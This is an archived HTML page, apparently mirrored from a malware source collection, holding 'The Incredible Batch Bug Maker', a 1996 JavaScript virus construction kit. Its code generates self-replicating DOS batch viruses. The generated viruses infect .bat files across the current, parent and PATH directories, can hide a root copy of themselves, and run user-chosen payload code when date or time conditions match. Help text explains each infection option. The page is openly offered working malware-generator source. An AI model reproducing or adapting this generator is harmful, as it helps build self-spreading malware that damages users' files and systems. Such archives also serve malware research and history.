mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
1035 lines
14 KiB
Plaintext
1035 lines
14 KiB
Plaintext
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
|||
|
<!-- saved from url=(0059)http://vx.netlux.org/dl/vir/Constructor.DOS.IBBM.a?x=8&y=20 -->
|
|||
|
<HTML><HEAD><TITLE>BBM</TITLE>
|
|||
|
<META http-equiv=Content-Type content="text/html; charset=windows-1250">
|
|||
|
<SCRIPT>
|
|||
|
|
|||
|
|
|||
|
//<plaintext>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
//
|
|||
|
|
|||
|
|
|||
|
// The Incredible Batch Bug Maker
|
|||
|
|
|||
|
|
|||
|
// For Netscape 2 w/ JavaScript
|
|||
|
|
|||
|
|
|||
|
// DOS 6 compatible output only!
|
|||
|
|
|||
|
|
|||
|
//
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
// define our vars...
|
|||
|
|
|||
|
|
|||
|
// (so netscape won't freak)
|
|||
|
|
|||
|
|
|||
|
var method=0;
|
|||
|
|
|||
|
|
|||
|
var search=0;
|
|||
|
|
|||
|
|
|||
|
var name="";
|
|||
|
|
|||
|
|
|||
|
var key="";
|
|||
|
|
|||
|
|
|||
|
var infects="";
|
|||
|
|
|||
|
|
|||
|
var seeks="";
|
|||
|
|
|||
|
|
|||
|
var findhost=false;
|
|||
|
|
|||
|
|
|||
|
var usecopy=false;
|
|||
|
|
|||
|
|
|||
|
var hidecopy=false;
|
|||
|
|
|||
|
|
|||
|
var echoblank=false;
|
|||
|
|
|||
|
|
|||
|
var codewindow=false;
|
|||
|
|
|||
|
|
|||
|
var comment="";
|
|||
|
|
|||
|
|
|||
|
var tmatch1="";
|
|||
|
|
|||
|
|
|||
|
var tmatch2="";
|
|||
|
|
|||
|
|
|||
|
var dmatch1="";
|
|||
|
|
|||
|
|
|||
|
var dmatch2="";
|
|||
|
|
|||
|
|
|||
|
var addcode="";
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
// default variables...
|
|||
|
|
|||
|
|
|||
|
function Reset(vars) {
|
|||
|
|
|||
|
|
|||
|
findhost=false;
|
|||
|
|
|||
|
|
|||
|
usecopy=true;
|
|||
|
|
|||
|
|
|||
|
hidecopy=false;
|
|||
|
|
|||
|
|
|||
|
echoblank=true;
|
|||
|
|
|||
|
|
|||
|
codewindow=true;
|
|||
|
|
|||
|
|
|||
|
with (document) {
|
|||
|
|
|||
|
|
|||
|
vars.Method.options[0].selected=true;
|
|||
|
|
|||
|
|
|||
|
vars.Search.options[0].selected=true;
|
|||
|
|
|||
|
|
|||
|
vars.Name.value = "gobbm";
|
|||
|
|
|||
|
|
|||
|
vars.Key.value = "BuG!";
|
|||
|
|
|||
|
|
|||
|
vars.Infects.value = 1;
|
|||
|
|
|||
|
|
|||
|
vars.Seeks.value = 20;
|
|||
|
|
|||
|
|
|||
|
vars.FindHost.checked=findhost;
|
|||
|
|
|||
|
|
|||
|
vars.UseCopy.checked=usecopy;
|
|||
|
|
|||
|
|
|||
|
vars.HideCopy.checked=hidecopy;
|
|||
|
|
|||
|
|
|||
|
vars.EchoBlank.checked=echoblank;
|
|||
|
|
|||
|
|
|||
|
vars.CodeWindow.checked=codewindow;
|
|||
|
|
|||
|
|
|||
|
vars.Comment.value="";
|
|||
|
|
|||
|
|
|||
|
vars.AddCode.value="";
|
|||
|
|
|||
|
|
|||
|
vars.TMatch1.value="";
|
|||
|
|
|||
|
|
|||
|
vars.TMatch2.value="";
|
|||
|
|
|||
|
|
|||
|
vars.DMatch1.value="";
|
|||
|
|
|||
|
|
|||
|
vars.DMatch2.value="";
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
function WinOpen(something) {
|
|||
|
|
|||
|
|
|||
|
msg=open(something,"DisplayWindow",
|
|||
|
|
|||
|
|
|||
|
"toolbar=no,directories=no,menubar=no,scrollbars=yes,resizable=yes");
|
|||
|
|
|||
|
|
|||
|
codewindow=true;
|
|||
|
|
|||
|
|
|||
|
return msg;
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
function write(stuff) {
|
|||
|
|
|||
|
|
|||
|
if (codewindow) msg.document.writeln(stuff);
|
|||
|
|
|||
|
|
|||
|
else document.writeln(stuff);
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
function wr(stuff) {
|
|||
|
|
|||
|
|
|||
|
if (codewindow) msg.document.write(stuff);
|
|||
|
|
|||
|
|
|||
|
else document.write(stuff);
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
function MakeBug(vars) {
|
|||
|
|
|||
|
|
|||
|
method=0;
|
|||
|
|
|||
|
|
|||
|
search=0;
|
|||
|
|
|||
|
|
|||
|
for (var i=0; i<4; i++) if (vars.Method.options[i].selected) method=i;
|
|||
|
|
|||
|
|
|||
|
for (var i=0; i<4; i++) if (vars.Search.options[i].selected) search=i;
|
|||
|
|
|||
|
|
|||
|
name=vars.Name.value;
|
|||
|
|
|||
|
|
|||
|
key=vars.Key.value;
|
|||
|
|
|||
|
|
|||
|
comment=vars.Comment.value;
|
|||
|
|
|||
|
|
|||
|
infects=vars.Infects.value;
|
|||
|
|
|||
|
|
|||
|
seeks=vars.Seeks.value;
|
|||
|
|
|||
|
|
|||
|
findhost=vars.FindHost.checked;
|
|||
|
|
|||
|
|
|||
|
usecopy=vars.UseCopy.checked;
|
|||
|
|
|||
|
|
|||
|
hidecopy=vars.HideCopy.checked;
|
|||
|
|
|||
|
|
|||
|
echoblank=vars.EchoBlank.checked;
|
|||
|
|
|||
|
|
|||
|
codewindow=vars.CodeWindow.checked;
|
|||
|
|
|||
|
|
|||
|
comment=vars.Comment.value;
|
|||
|
|
|||
|
|
|||
|
tmatch1=vars.TMatch1.value;
|
|||
|
|
|||
|
|
|||
|
tmatch2=vars.TMatch2.value;
|
|||
|
|
|||
|
|
|||
|
dmatch1=vars.DMatch1.value;
|
|||
|
|
|||
|
|
|||
|
dmatch2=vars.DMatch2.value;
|
|||
|
|
|||
|
|
|||
|
addcode=vars.AddCode.value;
|
|||
|
|
|||
|
|
|||
|
if (codewindow) var msg=WinOpen("");
|
|||
|
|
|||
|
|
|||
|
if (method==0 && findhost)
|
|||
|
|
|||
|
|
|||
|
write("<h3>Error - Appending types cannot find host</h3>");
|
|||
|
|
|||
|
|
|||
|
else if (method==0 && !usecopy)
|
|||
|
|
|||
|
|
|||
|
write("<h3>Error - Appending types must use copy</h3>");
|
|||
|
|
|||
|
|
|||
|
else if (key=="" || name=="")
|
|||
|
|
|||
|
|
|||
|
write("<h3>Error - Must have Key and SubString entries</h3>");
|
|||
|
|
|||
|
|
|||
|
else if (name.indexOf(key)>=0)
|
|||
|
|
|||
|
|
|||
|
write("<h3>Error - Key cannot be in SubString</h3>");
|
|||
|
|
|||
|
|
|||
|
else {
|
|||
|
|
|||
|
|
|||
|
wr("<pre>");
|
|||
|
|
|||
|
|
|||
|
GenerateCode();
|
|||
|
|
|||
|
|
|||
|
wr("</pre><hr>");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (codewindow) {
|
|||
|
|
|||
|
|
|||
|
wr("<form>");
|
|||
|
|
|||
|
|
|||
|
wr("<input type='button' value='Close' onclick='close()'>");
|
|||
|
|
|||
|
|
|||
|
wr("</form>");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
function GenerateCode() {
|
|||
|
|
|||
|
|
|||
|
var type=method+1;
|
|||
|
|
|||
|
|
|||
|
var mask="*.bat";
|
|||
|
|
|||
|
|
|||
|
var dopath=0;
|
|||
|
|
|||
|
|
|||
|
if (search==1) mask="*.bat ..\\*.bat";
|
|||
|
|
|||
|
|
|||
|
if (search==2) mask="..\\*.bat *.bat";
|
|||
|
|
|||
|
|
|||
|
if (search==3) {
|
|||
|
|
|||
|
|
|||
|
mask=". .. %path%";
|
|||
|
|
|||
|
|
|||
|
dopath=1;
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
var s_infects="";
|
|||
|
|
|||
|
|
|||
|
if (parseInt(infects)>0)
|
|||
|
|
|||
|
|
|||
|
for (var i=0; i<parseInt(infects); i++)
|
|||
|
|
|||
|
|
|||
|
s_infects=s_infects+"1";
|
|||
|
|
|||
|
|
|||
|
var s_seeks="";
|
|||
|
|
|||
|
|
|||
|
if (parseInt(seeks)>0)
|
|||
|
|
|||
|
|
|||
|
for (var i=0; i<parseInt(seeks); i++)
|
|||
|
|
|||
|
|
|||
|
s_seeks=s_seeks+"1";
|
|||
|
|
|||
|
|
|||
|
var v1="%"+key+"%";
|
|||
|
|
|||
|
|
|||
|
if (usecopy) v1="c:\\_" + key;
|
|||
|
|
|||
|
|
|||
|
var v8="end";
|
|||
|
|
|||
|
|
|||
|
if (type==2) v8="xt";
|
|||
|
|
|||
|
|
|||
|
if (type==3 || type==4) {
|
|||
|
|
|||
|
|
|||
|
write("@if '%_"+name+"%==' goto _"+name);
|
|||
|
|
|||
|
|
|||
|
write("::**** HOST ****");
|
|||
|
|
|||
|
|
|||
|
if (echoblank) write("");
|
|||
|
|
|||
|
|
|||
|
write("@if not '%_"+name+"%==' goto "+key+"end");
|
|||
|
|
|||
|
|
|||
|
write(":_"+name+" "+key);
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (type==1) {
|
|||
|
|
|||
|
|
|||
|
write("::**** HOST ****");
|
|||
|
|
|||
|
|
|||
|
if (echoblank) write("");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if(comment!="") write("::"+key+" "+comment);
|
|||
|
|
|||
|
|
|||
|
write("@echo off%_"+key+"%");
|
|||
|
|
|||
|
|
|||
|
write("if '%1=='"+key+" goto "+key+"%2");
|
|||
|
|
|||
|
|
|||
|
write("set "+key+"=%0.bat");
|
|||
|
|
|||
|
|
|||
|
write("if not exist %"+key+"% set "+key+"=%0");
|
|||
|
|
|||
|
|
|||
|
write("if '%"+key+"%==' set "+key+"=autoexec.bat");
|
|||
|
|
|||
|
|
|||
|
if (type==3||type==4) write("set !"+key+"=%1 %2 %3 %4 %5 %6 %7 %8 %9");
|
|||
|
|
|||
|
|
|||
|
if (type==4) {
|
|||
|
|
|||
|
|
|||
|
write("call %"+key+"% "+key+" rh");
|
|||
|
|
|||
|
|
|||
|
write("set _"+name+"=>nul."+key);
|
|||
|
|
|||
|
|
|||
|
write("set !"+key+"=");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (usecopy) write("if exist c:\\_"+key+".bat goto "+key+"g");
|
|||
|
|
|||
|
|
|||
|
if (findhost) {
|
|||
|
|
|||
|
|
|||
|
write("if exist %"+key+"% goto "+key+"fe");
|
|||
|
|
|||
|
|
|||
|
write("call %"+key+"% "+key+" h %path%");
|
|||
|
|
|||
|
|
|||
|
write("if exist %"+key+"% goto "+key+"fe");
|
|||
|
|
|||
|
|
|||
|
write("goto e"+key);
|
|||
|
|
|||
|
|
|||
|
write(":"+key+"h");
|
|||
|
|
|||
|
|
|||
|
write("shift%_"+key+"%");
|
|||
|
|
|||
|
|
|||
|
write("if '%2==' goto "+key+v8);
|
|||
|
|
|||
|
|
|||
|
write("if exist %2\\%"+key+" set "+key+"=%2\\%"+key+"%");
|
|||
|
|
|||
|
|
|||
|
write("if exist %2%"+key+" set "+key+"=%2%"+key+"%");
|
|||
|
|
|||
|
|
|||
|
write("if exist %2\\%"+key+".bat set "+key+"=%2\\%"+key+"%.bat");
|
|||
|
|
|||
|
|
|||
|
write("if exist %2%"+key+".bat set "+key+"=%2%"+key+"%.bat");
|
|||
|
|
|||
|
|
|||
|
write("if not exist %"+key+"% goto "+key+"h");
|
|||
|
|
|||
|
|
|||
|
write("goto "+key+v8);
|
|||
|
|
|||
|
|
|||
|
write(":"+key+"fe");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (usecopy) {
|
|||
|
|
|||
|
|
|||
|
if(!findhost) write("if not exist %"+key+"% goto e"+key);
|
|||
|
|
|||
|
|
|||
|
write("find ""+key+""<%"+key+"%>c:\\_"+key+".bat");
|
|||
|
|
|||
|
|
|||
|
if (hidecopy) write("attrib c:\\_"+key+".bat +h");
|
|||
|
|
|||
|
|
|||
|
write(":"+key+"g");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (!usecopy&&!findhost) write("if not exist %"+key+"% goto e"+key);
|
|||
|
|
|||
|
|
|||
|
var v3="/e:5000 /c";
|
|||
|
|
|||
|
|
|||
|
if (s_seeks=="" && s_infects=="") v3="/c";
|
|||
|
|
|||
|
|
|||
|
if (s_seeks=="" && s_infects=="1") v3="/c";
|
|||
|
|
|||
|
|
|||
|
if (dopath) write("command "+v3+" "+v1+" "+key+" vir "+mask);
|
|||
|
|
|||
|
|
|||
|
if (!dopath) write("command "+v3+" "+v1+" "+key+" vir");
|
|||
|
|
|||
|
|
|||
|
write(":e"+key);
|
|||
|
|
|||
|
|
|||
|
var activate=false;
|
|||
|
|
|||
|
|
|||
|
if (dmatch1!="") {
|
|||
|
|
|||
|
|
|||
|
write("echo.|date|find ""+dmatch1+"">nul."+key);
|
|||
|
|
|||
|
|
|||
|
write("if errorlevel 1 goto na"+key);
|
|||
|
|
|||
|
|
|||
|
activate=true;
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (dmatch2!="") {
|
|||
|
|
|||
|
|
|||
|
write("echo.|date|find ""+dmatch2+"">nul."+key);
|
|||
|
|
|||
|
|
|||
|
write("if errorlevel 1 goto na"+key);
|
|||
|
|
|||
|
|
|||
|
activate=true;
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (tmatch1!="") {
|
|||
|
|
|||
|
|
|||
|
write("echo.|time|find ""+tmatch1+"">nul."+key);
|
|||
|
|
|||
|
|
|||
|
write("if errorlevel 1 goto na"+key);
|
|||
|
|
|||
|
|
|||
|
activate=true;
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (tmatch2!="") {
|
|||
|
|
|||
|
|
|||
|
write("echo.|time|find ""+tmatch2+"">nul."+key);
|
|||
|
|
|||
|
|
|||
|
write("if errorlevel 1 goto na"+key);
|
|||
|
|
|||
|
|
|||
|
activate=true;
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (addcode.length>0) {
|
|||
|
|
|||
|
|
|||
|
var fromchar=0;
|
|||
|
|
|||
|
|
|||
|
var newln=0;
|
|||
|
|
|||
|
|
|||
|
while(fromchar<addcode.length && newln>=0) {
|
|||
|
|
|||
|
|
|||
|
var newln=addcode.indexOf("\r",fromchar)
|
|||
|
|
|||
|
|
|||
|
if (newln>0) {
|
|||
|
|
|||
|
|
|||
|
var subline=addcode.substring(fromchar,newln);
|
|||
|
|
|||
|
|
|||
|
var sublow=subline.toLowerCase();
|
|||
|
|
|||
|
|
|||
|
if (sublow.substring(0,1)==":" ||
|
|||
|
|
|||
|
|
|||
|
sublow.indexOf("goto ")>=0)
|
|||
|
|
|||
|
|
|||
|
subline=subline+" %_"+key+"%";
|
|||
|
|
|||
|
|
|||
|
else subline=subline+"%_"+key+"%";
|
|||
|
|
|||
|
|
|||
|
write(subline);
|
|||
|
|
|||
|
|
|||
|
fromchar=newln+2;
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
} else if (activate) write ("::"+key+" *** activate code ***");
|
|||
|
|
|||
|
|
|||
|
if (activate) write(":na"+key);
|
|||
|
|
|||
|
|
|||
|
if (type==3) {
|
|||
|
|
|||
|
|
|||
|
write("call %"+key+"% "+key+" rh");
|
|||
|
|
|||
|
|
|||
|
write("set _"+name+"=>nul."+key);
|
|||
|
|
|||
|
|
|||
|
write("set !"+key+"=");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
write("set "+key+"=");
|
|||
|
|
|||
|
|
|||
|
if ((!usecopy||findhost) && type==2) write("if exist \\!"+key+".bat del \\!"+key+".bat");
|
|||
|
|
|||
|
|
|||
|
write("goto "+key+"end");
|
|||
|
|
|||
|
|
|||
|
if ((!usecopy||findhost) && type==2) {
|
|||
|
|
|||
|
|
|||
|
write(":"+key+"xt");
|
|||
|
|
|||
|
|
|||
|
write("echo.>\\!"+key+".bat");
|
|||
|
|
|||
|
|
|||
|
write("\\!"+key+".bat");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (type==3||type==4) {
|
|||
|
|
|||
|
|
|||
|
write(":"+key+"rh");
|
|||
|
|
|||
|
|
|||
|
write("set _"+name+"=x%_"+key+"%");
|
|||
|
|
|||
|
|
|||
|
write("%"+key+"% %!"+key+"%");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
write(":"+key+"vir");
|
|||
|
|
|||
|
|
|||
|
if (!dopath) {
|
|||
|
|
|||
|
|
|||
|
write("for %%a in ("+mask+") do call "+v1+" "+key+" i %%a");
|
|||
|
|
|||
|
|
|||
|
write("exit "+key);
|
|||
|
|
|||
|
|
|||
|
} else {
|
|||
|
|
|||
|
|
|||
|
write("shift%_"+key+"%");
|
|||
|
|
|||
|
|
|||
|
write("if '%2==' exit %"+key+"%");
|
|||
|
|
|||
|
|
|||
|
write("for %%a in (%2\\*.bat %2*.bat) do call "+v1+" "+key+" i %%a");
|
|||
|
|
|||
|
|
|||
|
write("goto "+key+"vir");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
write(":"+key+"i");
|
|||
|
|
|||
|
|
|||
|
write("find ""+key+""<%3>nul");
|
|||
|
|
|||
|
|
|||
|
var v2="ERR";
|
|||
|
|
|||
|
|
|||
|
if (s_seeks=="") v2=key+"end";
|
|||
|
|
|||
|
|
|||
|
if (type==2 && !usecopy) v2=key+"xt";
|
|||
|
|
|||
|
|
|||
|
if (s_seeks!="") v2=key+"j";
|
|||
|
|
|||
|
|
|||
|
write("if not errorlevel 1 goto "+v2);
|
|||
|
|
|||
|
|
|||
|
var v2="type c:\\_"+key+".bat";
|
|||
|
|
|||
|
|
|||
|
if (!usecopy) var v2="find ""+key+""<%"+key+"%";
|
|||
|
|
|||
|
|
|||
|
if (type==1) {
|
|||
|
|
|||
|
|
|||
|
write("type %3>"+key+"$");
|
|||
|
|
|||
|
|
|||
|
if (echoblank) write("echo.>>"+key+"$");
|
|||
|
|
|||
|
|
|||
|
write(v2+">>"+key+"$");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (type==2) {
|
|||
|
|
|||
|
|
|||
|
write(v2+">"+key+"$");
|
|||
|
|
|||
|
|
|||
|
write("type %3>>"+key+"$");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (type==3 || type==4) {
|
|||
|
|
|||
|
|
|||
|
write("echo @if '%%_"+name+"%%==' goto _"+name+">"+key+"$");
|
|||
|
|
|||
|
|
|||
|
write("type %3>>"+key+"$");
|
|||
|
|
|||
|
|
|||
|
if (echoblank) write("echo.>>"+key+"$");
|
|||
|
|
|||
|
|
|||
|
write(v2+">>"+key+"$");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
write("move "+key+"$ %3>nul");
|
|||
|
|
|||
|
|
|||
|
if (s_infects!="") {
|
|||
|
|
|||
|
|
|||
|
if (s_infects=="1") write("exit "+key);
|
|||
|
|
|||
|
|
|||
|
else {
|
|||
|
|
|||
|
|
|||
|
write("set "+key+"#=%"+key+"#%1");
|
|||
|
|
|||
|
|
|||
|
write("if %"+key+"#%=="+s_infects+" exit");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (s_seeks!="") {
|
|||
|
|
|||
|
|
|||
|
write(":"+key+"j");
|
|||
|
|
|||
|
|
|||
|
write("set "+key+"!=%"+key+"#%1");
|
|||
|
|
|||
|
|
|||
|
write("if %"+key+"!%=="+s_seeks+" exit");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if ((s_infects!="1" || s_seeks!="") && type==2 && usecopy==false)
|
|||
|
|
|||
|
|
|||
|
write("goto "+key+"xt");
|
|||
|
|
|||
|
|
|||
|
write(":"+key+"end");
|
|||
|
|
|||
|
|
|||
|
if (type==2) write("::**** HOST ****");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
function Info() {
|
|||
|
|
|||
|
|
|||
|
WinOpen("");
|
|||
|
|
|||
|
|
|||
|
wr("<h1>The Incredible Batch Bug Maker</h1>");
|
|||
|
|
|||
|
|
|||
|
wr("Makes DOS 6 compatible replicating batch files<br>");
|
|||
|
|
|||
|
|
|||
|
wr("Produced March 27, 1996<br><br>");
|
|||
|
|
|||
|
|
|||
|
wr("The Key String must be unique, the generated bug will not ");
|
|||
|
|
|||
|
|
|||
|
wr("touch any batch containing this string. The Sub String is ");
|
|||
|
|
|||
|
|
|||
|
wr("used in compound methods, it should also be unique. Infects ");
|
|||
|
|
|||
|
|
|||
|
wr("per run is how many batches will be assimilated with each run ");
|
|||
|
|
|||
|
|
|||
|
wr("of a bugged batch, if omitted all available batches are game. ");
|
|||
|
|
|||
|
|
|||
|
wr("Max seeks is the maximum number of infected files skipped ");
|
|||
|
|
|||
|
|
|||
|
wr("before giving up, if empty or NaN no limit checks are made. ");
|
|||
|
|
|||
|
|
|||
|
wr("The Add Code box is for adding batch code that will run when ");
|
|||
|
|
|||
|
|
|||
|
wr("all time and date conditions are satisfied, or every time if ");
|
|||
|
|
|||
|
|
|||
|
wr("no conditions are entered. The condition strings simply match ");
|
|||
|
|
|||
|
|
|||
|
wr("the output from the date and time commands. Three methods of ");
|
|||
|
|
|||
|
|
|||
|
wr("attachment are available: Appending simply tacks on the code, ");
|
|||
|
|
|||
|
|
|||
|
wr("Inserting places the bug before the host, and Compound which ");
|
|||
|
|
|||
|
|
|||
|
wr("uses a single inserted line then appends the rest. Compound ");
|
|||
|
|
|||
|
|
|||
|
wr("Immediate runs the bug first, Compound Delayed runs the bug when ");
|
|||
|
|
|||
|
|
|||
|
wr("the host completes. Search specifies the directories and order ");
|
|||
|
|
|||
|
|
|||
|
wr("for seeking batch files (watch out for path!). Find Host tells ");
|
|||
|
|
|||
|
|
|||
|
wr("it to generate code for seeking out the host batch even if run ");
|
|||
|
|
|||
|
|
|||
|
wr("from the path (not available on appenders), Use Copy keeps a ");
|
|||
|
|
|||
|
|
|||
|
wr("copy of the bug code in the root of C: (must be checked for ");
|
|||
|
|
|||
|
|
|||
|
wr("appenders), Hidden hides the root copy, Echo Blank places an ");
|
|||
|
|
|||
|
|
|||
|
wr("empty line between the host and any appended code to prevent ");
|
|||
|
|
|||
|
|
|||
|
wr("errors with batches that have no final return. Send to Window ");
|
|||
|
|
|||
|
|
|||
|
wr("opens a new browser window for the code to avoid trashing the ");
|
|||
|
|
|||
|
|
|||
|
wr("form. To copy code to clipboard uncheck it, good for one shot. ");
|
|||
|
|
|||
|
|
|||
|
wr("Resizing or reloading the form resets the data. Enjoy!");
|
|||
|
|
|||
|
|
|||
|
wr("<form>");
|
|||
|
|
|||
|
|
|||
|
wr("<input type='button' value='Close' onclick='close()'>");
|
|||
|
|
|||
|
|
|||
|
wr("</form>");
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
</SCRIPT>
|
|||
|
|
|||
|
<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
|
|||
|
<BODY text=#ff0000 vLink=#ff0000 aLink=#ff0000 link=#ff0000 bgColor=#000000
|
|||
|
background="">
|
|||
|
<CENTER>
|
|||
|
<H1 align=center><FONT size=+3>Nightmare Joker </FONT></H1>
|
|||
|
<H2 align=center><I>present's</I> </H2>
|
|||
|
<H1>The Incredible Batch Bug Maker</H1>
|
|||
|
<H2 align=center><I>coded by</I> </H2>
|
|||
|
<H1 align=center>Wavefunc [Independant] </H1><BR>
|
|||
|
<FORM name=vars>Key String: <INPUT maxLength=7 size=7 name=Key> <20> Comment:
|
|||
|
<INPUT size=30 name=Comment><BR>Sub String: <INPUT maxLength=7 size=7 name=Name>
|
|||
|
<EFBFBD> Infects per run: <INPUT maxLength=2 size=2 name=Infects> <20> Max seeks per run:
|
|||
|
<INPUT maxLength=2 size=2 name=Seeks><BR>Method: <SELECT name=Method> <OPTION
|
|||
|
selected>Appending<OPTION>Inserting<OPTION>Compound Immediate<OPTION>Compound
|
|||
|
Delayed</OPTION></SELECT> <20> Search: <SELECT name=Search> <OPTION
|
|||
|
selected>Current<OPTION>Current Parent<OPTION>Parent Current<OPTION>Current
|
|||
|
Parent Path</OPTION></SELECT><BR>Add Code: <TEXTAREA name=AddCode rows=3 cols=45></TEXTAREA><BR>Time Match: <INPUT size=7
|
|||
|
name=TMatch1> <INPUT size=7 name=TMatch2> <20> Date Match: <INPUT size=7
|
|||
|
name=DMatch1> <INPUT size=7 name=DMatch2><BR><BR><INPUT type=checkbox
|
|||
|
name=FindHost> Find Host Batch <20> <INPUT type=checkbox name=UseCopy> Use Root
|
|||
|
Copy <20> <INPUT type=checkbox name=HideCopy> Hide Copy<BR><INPUT type=checkbox
|
|||
|
name=EchoBlank> Add blank line for safety <20> <INPUT type=checkbox
|
|||
|
name=CodeWindow> Send output to window<BR><BR><INPUT onclick=MakeBug(this.form) type=button value="Make the Batch Bug">
|
|||
|
<INPUT onclick=Reset() type=reset value=Reset> <INPUT onclick=Info() type=button value=Info> </FORM><BR><A
|
|||
|
href="http://vx.netlux.org/dl/vir/index.htm"><FONT size=+3>BACK TO HOMEPAGE
|
|||
|
</FONT></A>
|
|||
|
<ADDRESS><BR><BR>Last Updated 03-Jan-97 <A
|
|||
|
href="mailto:njoker@hotmail.com">njoker@hotmail.com</A> </ADDRESS></CENTER>g
|
|||
|
</BODY></HTML>
|